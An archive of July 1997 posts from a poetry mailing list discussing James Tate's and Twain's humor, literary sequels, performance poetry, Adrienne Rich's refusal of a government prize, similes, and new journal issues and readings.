~~~~~~~~~~~~~~~~~~~~~~~

best, Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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580. **Christopher Alexander**
Re: Tate's laughter / Twain's humor
Fri 18 Jul 1997

Michael McGee:
> << James Tate is the only poet I've ever heard read who laughed
> extensively (*extensively*, I mean like over & over) at the jokes in his
> poems.
I saw Tate read a few years ago in Cambridge. by about
15 minutes, in, I was laughing so hard I couldn't see (for
the tears) & looked (I was later told) as if I were verging
on respiratory arrest. quite a compliment, you'll say. I
finally managed to get myself under control when I realized
that the only alternative was to leave the reading. even
in silence, by myself & in my own home, I still find his
humor a nearly incapacitating delight.

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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581. **groberts**
morbid thoughts
Fri 18 Jul 1997

Twain's piece on mourning poems (all-bads?) sounds like a send up of
Wordsworth's essays on epitaphs, but it could also be a response to the cult of

sentimental death washing over middle-class Americans in the nineteenth century. This trend produced its greatest monument in the world's first cemetery park, Mt. Auburn Cemetery in Cambridge, Mass. Intended as a place of comfort and leisure, the cemetery today is shared by bird watchers and roller bladers. It also has a truly spectacular collection of trees, which shade sundry Longfellows and Lowells. I haven't memorized any of the verse on the grave markers, but it's closer to Twain's quotations than anything by Robert Lowell. My great-grandfather, Benjamin Franklin Roberts, a Tennessee farmer and Union vet, has on the back of his grave marker a list of the battles he fought in and on the front a different kind of cliche, which is lineated strangley:

> Remember when passing
> By you have to die and
> Lay as low as I

He now lies in the middle of the Oak Ridge atomic compound, and his grave cannot
be visited without a special escort.

***

Last year I started reading Beckett's Watt, for me his funniest, on an airplane, and I had to stifle myself so as not to disturb fellow passengers. I got a kind of morbid thrill from imagining myself, in the minds of people around me, as a slightly demented giggler who also snorted and sighed now and then. Laughing to oneself in a public place is a fun and harmless enough form of abjection. I followed Watt with Flann O'Brien's At Two-Swim-Birds, also pretty damn funny, though in places a little too like the catechism chapter in Ulysses. The first sentece gives you a taste:

Having placed in my mouth sufficient bread for three minutes' chewing, I withdrew my powers of sensual perception and retired into the privacy of my mind, my eyes and face assuming a vacant and preoccupied expression.

Gary Roberts

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582. **dbkk**

Re: twain -- first deconstructionist?

Fri 18 Jul 1997

At 11:03 AM -0400 7/18/97, Eliza McGrand- CVA Guest wrote:

> *how do you all feel about writers who take on the task of "extending" the series of another writer? has anyone read the sequel to "gone with the wind"? and there is, of course, jean rhys' _Wide Sargasso Sea_ meant to extend bronte's _Jane Eyre_. there have been a couple of others on jane*

> *eyre, and on bronte books...*
>
> *i've generally found sequels unreadable, with the exception of sargasso, which is problematic in its own way (rhys is an extraordinary writer, but i can only take so much of her bleakness and painful vision before i am about ready to lie down under a truck).*

Eliza, I know what you mean about Rhys, one can't hate her but there is definitely that ickiness to her. I think you might make a clearer distinction between sequels and retellings, Rhys' book being a retelling and those Nancy Drew books being sequels. In the retelling you're basically following the original, but putting in "secret" origins, perspectives, motives. There's this element of cleverness that is seductive. Sequels are much more create-your-own-thing from these elements.

In reading your post I thought of Mary Reilly, which is so much better than the Julia Roberts movie based on the book. This retelling of Dr. Jekyl and Mr. Hyde went way beyond the schlock that I was expecting--particularly in the author's dealings with issues of class, which is an important subtext to the original.

Even though my own book is, in a broad sense, a sequel to Dracula, I'm not so hot on them as a form. Sequels to me are like clones in Sci-Fi movies, there's always something just not right about them.

Dodie

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583. **Bennett M. Sm [Dimpson**

Re: Tate's laughter / Twain's humor

Fri 18 Jul 1997

I have had similar responses to John Yau. I couldn't even mouth the words to some of the poems in _Forbidden Entries_ they were so funny, unexpected, exacting, incisive. Yau's humor is sometimes like Tate's, completely deadpan, even slapstick, but the explicit political elements in Yau's poems supercharge things beyond cleverness or irony. Is something any less funny for its criticality? Or any less critical for its jokes?

Bennett

On Fri, 18 Jul 1997, Christopher Alexander wrote:

> *Michael McGee:*
> *<< James Tate is the only poet I've ever heard read who laughed extensively (*extensively*, I mean like over & over) at the jokes in his poems.*
> *I saw Tate read a few years ago in Cambridge. by about 15 minutes, in, I was laughing so hard I couldn't see (for*

> *the tears) & looked (I was later told) as if I were verging*
> *on respiratory arrest. quite a compliment, you'll say. I*
> *finally managed to get myself under control when I realized*
> *that the only alternative was to leave the reading. even*
> *in silence, by myself & in my own home, I still find his*
> *humor a nearly incapacitating delight.*
>
> *Chris*
>
> *..*
> *Christopher W. Alexander etc.*
> *nominative press collective*
>
> [redacted]
> *P.O. Box 522402 / Salt Lake City UT 84152-2402*
>
> *http://choengmon.lib.utah.edu/~calexand/nonce*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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584. Christopher Alexander
Re: twain -- first deconstructionist?
Fri 18 Jul 1997

Eliza M CVA-guest (!??) wroth:
> how do you all feel about writers who take on the task of "extending" the
> series of another writer? has anyone read the sequel to "gone with the
> wind"? and there is, of course, jean rhys' _Wide Sargasso Sea_ meant to
> extend bronte's _Jane Eyre_. there have been a couple of others on jane
> eyre, and on bronte books...

well, of course these things are often mass-market fiction, & so much the worse. "one feels, painfully, the differences in skill between the original & the copy"—something like movie sequels shot by successively less talented directors, that degrade as one moves down the line. ["& how"]. reliance on "special effects": "one subdues one's own internal writing rhythms...to another person's". I think the problem can be just that—trying to extend the work seamlessly, an impossible labor (& to what end?). other people are—well, we won't go there again so soon. whereas I find a more liberal ["forgive me"]

interpretation of "extend", something more on the order of "treat" ["mmmmm"] or "treatment of" the extant work a considerably more interesting proposition. (wondering about the announced relation of Kevin Killian's Santa to the— oh, forgive me, dammit, I've just forgotten his name—to a story called "Satan", by another writer). highly visible, unwitting, unwilling (?) collaboration (not necessarily an appropriation)—on the order, really, of the commonest use of language —with the exception that, in this case, the rhizomatic aspect is deliberate—not so much planned, as willful. de-liberated: not "subdues one's own" so much as the stricture (structure) imposed by the extant work. or "liberated": working at the seams, re-situation, re-evaluation—on the order of production, & not reverence. (of course, I've left out liber-ated: text arrested in the moment as book, which, yes, can be at least as much production as commodity. cf. Blake, Drucker, others). sometimes we forget, whatever theoretical lip-service we might pay to intertextuality, that there are no sacred ["discreet"] texts (or is it that all texts are sacred? nah...). all insertion ["immersion"] in the text is necessarily a re-writing from a new subject-position. (of course to say this here is an instance of what, in my loosely protestant up-bringing, was termed "preaching to the choir"). "influence" = confluence. it's physical. love it.

Chris—ah, but will parody work as a *pimento*?

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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585. **Michael Magee**
Re: Tate's laughter / Twain's humor
Fri 18 Jul 1997

---

from Maria: "actually, this used to be one of my favorite "let's make fun of frost" poems, until i reread it and realized that what it says is: two roads were exactly the same, i don't know why i picked one over the other, but in the future, when i tell the story, i'll *say* that it was because one was less traveled by, and that has made all the difference. that makes the poem quite a bit more interesting -- it's about narrative and self-aggrandizement, and the retroactive assignation of meaning to a random act."

Thanks for this, I'll reread it. -m.

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586. GRAHAM W. FOUST
Roth bother
Fri 18 Jul 1997

Just so you folks know, Senator Roth's office is not in fact conducting any poll re: Section 117(d) of the tax code (graduate student tax credit). I called immediately when I heard this (it's important to me, since I'm about to become a graduate student again; it's easy to do because I work on the Hill), and I was informed by the (very nice) office assistant that they were never conducting any poll but were receiving calls from all over the country because of Internet postings that said they were. They're good sports about it, but I wouldn't suggest calling them unless you're one of Mr. Roth's constituents, in which case, knock yourself out.

Bests,
Graham

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587. Christopher Alexander
Re: Roth bother
Fri 18 Jul 1997

Graham wrt:

> *Just so you folks know, Senator Roth's office is not in fact conducting any poll re: Section 117(d) of the tax code (graduate student tax credit).*

shit. I just had the same experience.
sorry to have been the bearer of
yet more internet dis-information.
["let this be a lesson to you"]. next
time I'll call first, & post later.

Chris
..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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588. **Miekal And**
Re: Virtual Anthology: announce & invite
Fri 18 Jul 1997

Robert Drake wrote:
>
> You all are invited to visit, and contribute to, the new Virtual
> Anthlogy Project, now online at:
>
> http://www.ims.csuohio.edu/VA/VAintro.html
>
> A number of listmembers & fellowtravelers have work featured in the
> various magazines indexed there, including: Mike Basinski, Steve Carll,
> Chris Daniels, Jacques Debrot, Dan Featherson, Peter Ganick, Los Glazier,
> David Golumbia, Hank Lazer, Sheila Murphy, Dan Raphael, Ken Sherwood,
> Alan Sondheim... ohdear, who did i miss?..

why Malok of course.

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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589. **Mark Weiss**
Humorist/poets
Fri 18 Jul 1997

Nobody'd mentioned Kenneth Koch: his baseball epic "Ko: A Season on Earth," and small pieces like "Mending Sump," which sends up Frost and contains the line "Something there is that does not hump a sump."

Nor a word about Ed Dorn--despite last Winter's flap, one of our best and funniest poets (and the incredible cadences of the opening of Gunslinger I took up permanent residence in this poet's body the first time I read it aloud).

Here's one that no one will take me up on. Dryden coauthored a revised version of the Tempest which abjures all profundity but becomes great slapstick sex comedy. He added a female Caliban and a male Miranda, who somehow had never met their counterparts, and some female castaways. So, four horny virgins and a bunch of lecherous sailors and aristocrats trapped on an island.

Hilarious in itself, plus the subversive pleasure of snickering at a parody of Shakespeare (albeit intended respectfully!).

As long as we're in the Restoration, the poet and playwright Thomas Otway, best known as a tragedian, wrote two great forgotten comedies, Friendship in Fashion and The Atheist, which bills itself as a sequel to the former. F in F: the last three acts are an endless society party. The Atheist: a lovelorn woman dresses as a man to seduce her rival for her beau's affections. You hadda be there. Great. And the women change the rules of the game and win.

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590. **Pritchett,Pat**

Re: What comes next?

Fri 18 Jul 1997

Great post, Mark Wallace. And thanks to Jacques Debrot for first posting this very intriguing question. The quote Mark uses at the end sums up the issue very succinctly, namely, that the concern with the New is basically the expression of an _anxiety_ about what's come before - the acute anxiety every writer feels, in some sense, whenver he or she "sets down to write" (I don't mean this lasy literally...). I'm still reading Steve Evans' essay, so can't add anything gleaned from there. I would just say though that the issue of literary change vis-a-vis LangPo seems to me not so much a question of "replacement" but of mutation.

Aldon Nielsen recently mentioned to me in passing the "manifestos" on post-Language Poetry by John Noto and perhaps others that have appeared recently in Talisman. Can anyone comment on what is meant by the idea of post-Language poetry? Judging by the name alone, it doesn't seem to be oppositional to LangPo, but operating in more or less "friendly" relation to it.

But this desire to classify and sum up ideas about the New is also an expression of the anxiety we feel about change, i.e. the urge to name and identify what appears presently to be amorphous, to pin it down somehow.

Patrick Pritchett

From: Mark Wallace
To: POETICS
Subject: What comes next?
Date: Thursday, July 17, 1997 7:55PM

The irony of the NEW I think may best be expressed by a closing quotation here. Thankfully, this quotation does NOT sum up the value of the new in the work of those poets who have begun appearing in the 90s. But it does express

how EASILY that value might be missed, and why irony is necessary these days whenever you or I ask "what's next?". I hope you'll read this closing quote closely, because it's BRILLIANT, it really is, especially considering what it is.

It's from the book BEER BLAST; TWENTY YEARS OF FADS AND FOLLIES IN THE BATTLE OF THE BREWS, written by Phillip Van Munching, whose company handled the international distribution of Heineken until being forced out several years ago:

"I recently asked the public relations guy at Heineken USA why Amstel Light's packaging had been changed so dramatically BEFORE any decisions had been made about the direction of the brand's marketing. 'You know how people like to look busy,' he replied. I relate that story for two reasons... The second reason is that it gives insight into WHY new marketers change everything; marketers feel the overwhelming need to criticize what has come before them, so they can make a name for themselves by spearheading some NEW direction. This is because there seems to be less and less job longevity among marketers; the guy selling soda pop this year might be selling beer next year and feminine hygiene products the year after that. I suspect that the marketer of today is afraid to go to an interview for the next job and say, 'Well, I've spent the last few years as a caretaker for a brand image created before I arrived on the scene.'"

Mark Wallace

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591. George Bowering

Re: pre-guillotine lament

Fri 18 Jul 1997

> *I'm not even sure when Bukowski came up,*
>
> *Steve Shoemaker*

Well, he came up when we were discussing the tradition of John Ashbery. I supported the argument that there is a natural triad in Stevens--Ashbery=-Bukowski. It's all there in the text, for the open eye to perceive.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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592. **Robert Hale**
Re: What comes next?
Fri 18 Jul 1997

Calling attention to the means of production makes sense. However, terms such as "diversity" and "multiplicity" are only useful for politicizing the matter.

Poetries that are non-discursive (more "presentational) are often market-driven, entertainment economies and are processed that way by the spectator. Performance poetry is usually (and quite literally) "judged" or measured according to its entertainment value. These poetries are rendered economic by virtue of the fact that they are perceived to be more material in some sense -- they are framed in some kind of context that is not concerned with consciousness of form. They are thought to take up the space and time of the individual as other forms of entertainment do and are effected by fluctuating rules of consumption that are essentially market-driven. Though there is no recognizable market for, let's say, "hypertexts," readers/spectators who seek-out such non-discursive forms often do so for the same reasons that they would seek out a particular product.

At 07:22 AM 7/18/97 EDT, you wrote:
>On Thursday, July 17, Mark Wallace wrote,
>
>"...my own concerns in essays like "Towards A Free Multiplicity of Form" have
>perhaps been more polemical. I'm not in favor so much in some generalized
>diversity of forms ("any way you do it, that's okay with me!") as I have been
>calling for a CONSCIOUS exploration of multiple formal approaches, even in the
>case of a single writer. Not "acceptance of diversity" so much as
>"consciousness of the implications of choices of form" and an attempt to NOT
>settle for singular traditions or approaches. "Diversity" in poetry seems to me
>fine ONLY as long it contains awareness about the implications of form, and
>conscious attempts to find those forms which might reveal untapped potentials in
>given areas."
>
>
>Mark,
>
>It seems to me you're only really talking about multiplicities of "discursive"
>form here. Literary forms that are more presentational in character, hypertexts

>and other electronic forms, performance and sound poetry, visual poetry, etc.
>don't offer themselves up to consciousness in the ways you describe. If a "Free
>Multiplicity of Form" is the goal these forms would probably have to be
>considered too, unless of course some categorical reason were used to exclude
>them.
>
>
>Ward Tietz
>
>

↑ Index

593. **Joe Safdie**
Prizes
Fri 18 Jul 1997

Wasn't anyone going to remark on what I thought was the truly exemplary behavior of Adrienne Rich last week in refusing whatever poetry prize it was she was awarded? I only saw a brief newspaper column about it, but she made some highly critical remarks about Clinton's policies and said she couldn't accept such an award given that context.

I mean, the last book of poems of hers I remember liking is at least 20 years old, maybe 25 (*The Will to Change*, from the Olson lin), and I'm fairly sure I wouldn't be able to appreciate her recent work, but this is a political gesture I can applaud.

But given the anxiety expressed by many about being locked out of the prize circuit a few months back, perhaps not many share this view.

↑ Index

594. **Christopher Reiner**
Re: What comes next?
Fri 18 Jul 1997

I've put Mark Wallace's essay "Toward a Free Multiplicity of Form" (which appeared in Witz last summer) online at:

http://www.crl.com/~creiner/witz/form.html

It's an important piece of work, and anyone who hasn't read it might want to check it out.

--Chris Reiner
[redacted]

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595. David Israel
Bukowski & the Tribe (a tale of ancestors)
Fri 18 Jul 1997

[was:
Re: pre-guillotine lament]

Following this thread (or yarn) --

<<<
>>> George Bowering <[redacted]> 07/18/97 04:14pm >>>
>I'm not even sure when Bukowski came up,
>
>Steve Shoemaker

Well, he came up when we were discussing the tradition of John Ashbery. I supported the argument that there is a natural triad in Stevens--Ashbery=-Bukowski. It's all there in the text, for the open eye to perceive.

how's this? --

Mallarme [say] = {the emotion of intellect}

Stevens = the intellect of {the emotion of intellect}

Ashbery = the intellectual emotion of
{the intellect of {the emotion of intellect}}

Bukowski = the emotion

(i.e., cuts thru fancy pother & gets basic --id est, he gets down)

(tho at the last second, maybe he swishes in
a jigger-ful of thought -- to finesse the brew?)

d.i.

↑ Index

596. **Pritchett,Pat**
Re: Prizes
Fri 18 Jul 1997

Yes, Joe, glad you mentioned it. Though as I recall, in the article from the NY Times - very small, prob. the one you read - Rich not only objected to Clinton but to the general state of politics as such in the country.

It would be nice if the Poet Laureate made the same gesture - either by using the appointment, for instance, to bring to broader attention the disgraceful way language is used by politicians to dress up their lies (seems like a not unreasonable way for a poet to marshall his or her expertise) - or by simply resigning. Instead the post functions as a mere diadem in the king's crown, flattering the official state culture's image of itself as "standing for the good things in life" - the poet rendering sensitive observations of nature (or Frost's charming little paean for imperialism, "The Gift Outright") from the stage of the Kennedy Center while white papers are drafted for the subversion of this foreign country or that social welfare program. Strange bedfellows indeed - but who's getting screwed?

Patrick Pritchett

From: Joe Safdie
To: POETICS
Subject: Prizes
Date: Friday, July 18, 1997 4:50PM

Wasn't anyone going to remark on what I thought was the truly exemplary behavior of Adrienne Rich last week in refusing whatever poetry prize it was she was awarded? I only saw a brief newspaper column about it, but she made some highly critical remarks about Clinton's policies and said she couldn't accept such an award given that context.

+

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597. **David Israel**
Re: Prizes
Fri 18 Jul 1997

Joe -- <<Wasn't anyone going to remark on what I thought was the truly exemplary behavior of Adrienne Rich last week in refusing whatever poetry prize it was she was awarded? I only saw a brief newspaper column about it, but she made some highly critical remarks about Clinton's policies and said she couldn't

accept such an award given that context. . . . . this is a political gesture I can applaud.

But given the anxiety expressed by many about being locked out of the prize circuit a few months back, perhaps not many share this view.>>

I only read about 3 sentences or something, in the gossip-section of the Washington Post -- I'd really have to have a more full report (e.g., to hear what she said, or what the nature of her objections were, etc.) before I might be able to form much of an impression of it.

(Naturally, one's initial response tends to be favorable for any principled refusal of societal honors. But details are needed.)

Was of course reminded of the renunciation by her old po-friend W.S. Merwin of the Pulitzer (I think it was?), back in Vietnam war days.

d.i.

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598. Christopher Reiner

Re: what comes next

Fri 18 Jul 1997

Mark's article online was cut off, but it's fixed.

"Towards a Free Multiplicity of Form" at

http://www.crl.com/~creiner/witz/form.html

Thanks to Christopher Alexander and Joseph Zitt for calling it to my attention.

--Chris Reiner

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599. George Bowering

Re: humorists / categorists

Fri 18 Jul 1997

> *There are two kinds of people in this world:*
> *Those who divide the world into two kinds of people*
> *and those who don't.*

Actually. there are three kinds of people in the world:
those who can count and those who can't.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

600. George Bowering
Re: sequels, etc.
Fri 18 Jul 1997

> *Sequels to me are like clones in Sci-Fi movies,*
> *there's always something just not right about them.*
>
> *Dodie*

One of my favourites (though not a sequel, is it? What would you call it? An extention of some sort)

is Sorrentino's _Mulligan Stew_, which is (as the title perhaps says) an oleo of Flann O'Brien's _At Swim-Two-Birds_.

I have seldom read such a nice way of getting the damned spirit of the forerunner.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

601. Steve Shoemaker
Re: pre-guillotine lament
Sat 19 Jul 1997

Oh, i get it. Sort of like Idea of a Drunken Self-Portrait at Key West.

On Fri, 18 Jul 1997, George Bowering wrote:

> *I'm not even sure when Bukowski came up,*
>
> *Steve Shoemaker*

> *Well, he came up when we were discussing the tradition of John Ashbery. I supported the argument that there is a natural triad in Stevens--Ashbery=-Bukowski. It's all there in the text, for the open eye to perceive.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

Steve Shoemaker

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602. **David R. Israel**
Re: humorists / categorists
Sat 19 Jul 1997

> *There are two kinds of people in this world:*
> *Those who divide the world into two kinds of people*
> *and those who don't.*
>
> *Actually. there are three kinds of people in the world:*
> *those who can count and those who can't.*

There are four kinds of people in the world:
those who make statements in words and

↑ Index

603. **L.MacMahon and T.R.Healy**
similes
Sat 19 Jul 1997

I remember reading in the height anti-similism their complete dismissal via the single sentence "Comparisons are odious". I don’t really like dismissal and was unhappy at the summary nature of their dispatch. However …

Perhaps one step towards their rehabilitation is to start very small with, say, animal similes. As strong as an ox doesn’t mean much to those who don’t often

rub shoulders with said bovines. Better stick to native species. On a recent radio quiz program the contestant was asked to complete the sentence "as happy as" which he obliged with "as happy as a pig in shit". Astonishingly, the presenter refused to concede the point, failing to win my confidence since the only Larry I know suffers from depression. Back to the animals. One comparison conspicuous by its absence concerns the common rat. Its testicle/penis ratio is of such an extraordinary dimension that, well if human proportions were on anything like the same scale the wheelbarrow would have been invented much earlier in history. Hung like a rat. You never hear it.

Oh on another radio quiz the contestant was asked "What rock is so light that it can float?" His answer, "the moon", while beating pumice any day, fell on stony soil.

Cheers,

Randolph Healy,
Ireland.

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604. David R. Israel
Re: similes
Sat 19 Jul 1997

> *Oh on another radio quiz the contestant was asked "What rock is so light that it can float?" His answer, "the moon", while beating pumice any day, fell on stony soil.*
>
> *Cheers,*
>
> *Randolph Healy,*
> *Ireland.*

another answer: Jefferson Airplane?

However, as for similies, another trope of comparable antiquity is the collocation of an image with implied metaphorical correlate(s) -- without connecting the dots, just suggesting 'em. Speaking of rock, here's a very fine example:

Bright are the stars that shine
Dark is the sky
I know this love of mine
Will never die

A kazillion times more effective & affective than something like "my love is as long-lasting as the bright stars . . " or any such. Just the image, and the mind

can draw that implied subtext or not -- because anyway there's more to it than that.

Of course, those Beatles lines mirror the same method in the Shih Ching ("Book of Songs* -- or Odes I think Pound called 'em?) of Chinese antiquity.

d.i.

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 .
 .....
 ............
 \\\\
```

she was surprised by her selection. ``Given the kind of work I do, the kind of poetry I write, it never seemed a likelihood that I would be proposed for it."

``I have a strong belief in the inseparability of art from society as a whole," Rich said July 10th. ``Where growing numbers of people are being marginalized, impoverished, scapegoated and beleaguered, I don't feel I can accept an award from the government that is pursuing these policies.'' She wrote to Clinton, ``The radical disparities of wealth and power in America are widening at a devastating rate. A president cannot meaningfully honor certain token artists while the people at large are so dishonored.''

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606. **Bob Grumman**
The Juxtaphor
Sat 19 Jul 1997

Dear David:

Because you seem to be interested in EVERYTHING, I thought you might like to know that I have a name for that trope you mention that "is the collocation of an image with implied metaphorical correlate(s) -- without connecting the dots, just suggesting 'em": "juxtaphor." It's an especially useful term for describing those visual poems where one is supposed to understand but is not told that the visual appearance of the text acts as a metaphor for the denotation of the text. I wonder if the term has a standard name (besides "implicit metaphor"). Does anyone know?

--Bob G.

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607. **aerialedge**
Aerial
Sat 19 Jul 1997

This'll be going up on the EPC sometime soon but thought I'd post it here as well.

Title: Aerial

Editor(s): Rod Smith

Address:Aerial/Edge
POBox 25642
Washington, DC
20007

E-mail: [redacted]

Issn: 0894-2633
Frequency: irregular
Sub. Cost: $24/2 issues

Ed. Stmt:
(General statement)
". . . a measure of bewilderment is part of the job of literature."
--Flann O'Brien

Issue Info:
(Issue by issue descriptions)

Aerial 9: Bruce Andrews (Contemporary Poetics as Critical Theory II) forthcoming fall '97. Interviews, essays, poems, proses, ETC. Contributors include Jed Rasula, Peter Quartermain, Judith Goldman, Marjorie Perloff, P. Inman, Lyn Hejinian, Jacques Debrot, Jerome McGann, Nick Piombino, Rachel Blau DuPlessis, Steve Evans, Tim Davis, Tina Darragh, Charles Bernstein, Robert Mittenthal, Jerome Sala, Alan Golding, Hank Lazer, Dodie Bellamy, Craig Watson, & many others. Approx 280 pages, 6 x 9, $15.

Aerial 8: Barrett Watten (Contemporary Poetics as Critical Theory). Interviews, essays, poems, proses, ETC. Contributors include Bruce Andrews, Peter Baker, Daniel Barbiero, Steve Benson, Joseph Conte, Daniel Davidson, Michael Davidson, Alan Davies, Ron Day, Jerry Estrin, Norman Fischer, Allen Fisher, Carla Harryman, Lyn Hejinian, Kevin Killian, Jackson Mac Low, Bob Perelman, Kit Robinson, Leslie Scalapino, Victor Shklovsky, Jack Spicer, & George Tysh. 304 pages, 6 x 9, $15 (becoming rare).

Aerial 6/7 featuring John Cage. Includes 75 pages of material and cover art from Cage: "Art Is Either A Complaint Or Do Something Else," a lecture-poem using statements by Jasper Johns, a lengthy interview with Joan Retallack, and macrobiotic recipes. This issue also includes the tape-essay "Renga and the New Sentence"-- the first publication of the controversial Araki Yasusada. Also in this issue poety and prose from Jackson Mac Low, Charles Bernstein, Melanie Neilson, Bob Perelman, Tyrus Miller, Rachel Blau DuPlessis, Elizabeth Robinson, Micahel Anderson, Kit Robinson, Eric Wirth, John Byrum, Marin Sorescu, Daniel Davidson, Phyllis Rosenzweig, Janet Gray, Doug Lang, Carla Harryman and Lyn Hejinian, William Fuller, Jessica Grim, Nick Piombino, Tom Mandel, Dan Barbiero, Andrew Levy, and others. 204 pgs, 8 1/2 x 10, $15.

Aerial 5 . Includes 20 pages of the Carla Harryman/Lyn Hejinian collaboration _The Wide Road_. Tina Darragh interviewed by Joan Retallack. Retallack on Cage. Barbiero on Bernstein. Gretchen Johnsen journals. Elaine Equi, Bruce Andrews, Julia Blumenreich, Susan Smith Nash, Eric Wirth, Jackson Mac Low, Alan Davies/Charles Bernstein, Hank Lazer, Loris Essary, Andrew Levy, Ray DiPalma, Dan Raphael, others. 180 pgs, 6 x 9, $7.50.

Complete Set of Aerial 1-9 -- $100. Includes facsimile of #1.

↑ Index

608. **Alan J Sondheim**
(no subject)
Sat 19 Jul 1997

)

^

when i am stable i am like a table
with four legs down and no questions
and when i am down like now, the maple
outside the window rings its bastions
o----- with brancherly concerns, and when -----o
like now i think of suicide and hills
because sadness stems from treacherous fern and fen
then i hunt for something stronger than pills
to kill memories and mocking-birds singing
each to each something different like snow
flakes covering this corpse high and winging-o
flaking your cunt from me as if a throw
winged it higher until the throat's loud course
crossed the trajectory of horse and hearse
where nothing treds across the hedge and gorse,
no lines of song and dead you fuck me, cursed
v v v v

↑ Index

609. **GrahamD**
Rbt Duncan
Sat 19 Jul 1997

List subscribers might be interested to know that the featured poet today at the Poetry Daily site is Robert Duncan.

http://www.poems.com/home.htm

David Graham
[redacted]

↑ Index

610. Matthew Howard
Yasusada, again
Sat 19 Jul 1997

Those who have followed the postings here about Marjorie Perloff's essay on the Yasusada affair, and the various responses to it in Boston Review, may be interested to know that the pieces are now available on the Web, at:

http://www-polisci.mit.edu/bostonreview/br22.3/br22.3.html

Contributors to the forum are Charles Simic, Hosea Hirata, Arthur Vogelsang, John Bradley, Juliana Chang, Walter K. Lew, Tan Lin, Eileen Tabios, John Yau, Greg Glazner, Jon Davis, Stephen Owen, and Eliot Weinberger, with a response by Perloff.

Perloff's original piece can be found at:

http://www-polisci.mit.edu/bostonreview/br22.2/perloff.html

(Also of interest in the latest issue are poems by Emily Fragos, Katherine Soniat, Maria Baranda, John Peck, Allen Grossman, and David Baker, and reviews by Richard Howard on C. K. Williams, Kay Ryan on Wallace Stevens's letters, and Perloff on Yau's Forbidden Entries.)

Matthew Howard
Managing Editor
Boston Review

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611. Stephen C. Ellwood
Words which make People Garbage.
Sat 19 Jul 1997

My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.

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612. Lawrence Upton
Re: What comes next?
Sat 19 Jul 1997

Charles Alexander wrote

<<I think this is a limited view of "performance poetry." It may be true of many slam scenes, but I don't think it's true of the performance works of bpNichol, Jackson Mac Low, Charlie Morrow, and others. Such works and performers are acutely conscious of form. Still, depending on how you define product and market, all of our poetries function as part of an economy.>>

performance poetry and performance poetry there are many _performance poets_ who fit into the category that doesnt interest me greatly which pay attention to form - and timing and you name it

but the aim may be primarily to entertain - any number of comedians on first hearing come over as left radical because of the things they attack and then you find theyll attack anything if it gets a laugh... any kind of laugh... it is the atempt to to elicit response bringing money regardless of what it is

i have sat through too many formless poetry performances - and what i notice too is the shallowness of the analysis apparently underlying what they say - 18 years of _get the tories out_ and it is all a bit confused now that the labour party is in with tory policies

or there is the deeply self-expressionistic - i am in love so this is a poem

as to the economy - there is the older fuller meaning, going back before the cash necklace and still relevant - how you manage things properly, how you achieve civilisation through that

Lawrence Upton

↑ Index

613. **Mark Weiss**

Re: Words which make People Garbage.

Sat 19 Jul 1997

What's going on here? Heat stroke? Look, I use this list as a convenient meeting place to exchange ideas, words, wit. It helps fertilize this cultural semi-desert. Provocation for its own sake merely disrupts that process. It also doesn't say much for the cojones of the perpetrator--I mean, what bad thing do you risk in this venue. I suggest, instead, if you really want to provoke reactions, that you have your post printed on a t-shirt and walk into a leather bar. Or maybe just go up to a cop, or your boss, or your parents, and shout it.

At 05:10 PM 7/19/97 -0300, you wrote:
>My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.
>
>

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614. Herb Levy
Upcoming Subtext Readings & recent Seattle publications
Sat 19 Jul 1997

After this week's reading by John Olson & Christine Stewart, I realized there were several months worth of Subtext readings that hadn't been announced here yet. So:

August: Matthew Stadler & Dodie Bellamy
September: Robin Blaser & David Bromige
October: Ezra Mark & Jeff Derksen

This listing includes the tail end of Bryant Mason's curation and the start of Robert Mittenthal's.

All readings take place on the 3rd Thursday of the month, beginning at 7:30 pm in the back room of the Speakeasy in Seattle's upscale Belltown district. We ask for a $5 donation.

Hope to see you there, then.

There are also several recent publications by Seattle-area writers that should interest Poetics list folks:

John Olson's Swarm of Edges, bcc editions
Nico Vassilakis' Orange: a Manual, Sub Rosa press
Laynie Browne also has a book from Kelsey Street, the name of which has disappeared from my desk (sorry)

& the next Talisman, due out in a month or so, has a big chunk of work by Seattle poets.

Bests,

Herb

Herb Levy
[redacted]

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615. Maria Damon
Re: Words which make People Garbage.
Sat 19 Jul 1997

At 5:10 PM -0300 7/19/97, Stephen C. Ellwood wrote:
>My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.

hi emily vey duke. i love your name. we have some interesting names on the list. i bet we have lots of Prostitutes and Homosexuals on the List. I bet we

have lots of Demi-Mondaines and Inverts on the list. I bet we have lots of Ladies of the Night and Men Who Squint at the Moon on the list. my name is maria damon. it used to be diamond before i was born.

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616. Eliza McGrand- CVA Guest

Re: Words which make People Garbage.

Sat 19 Jul 1997

---

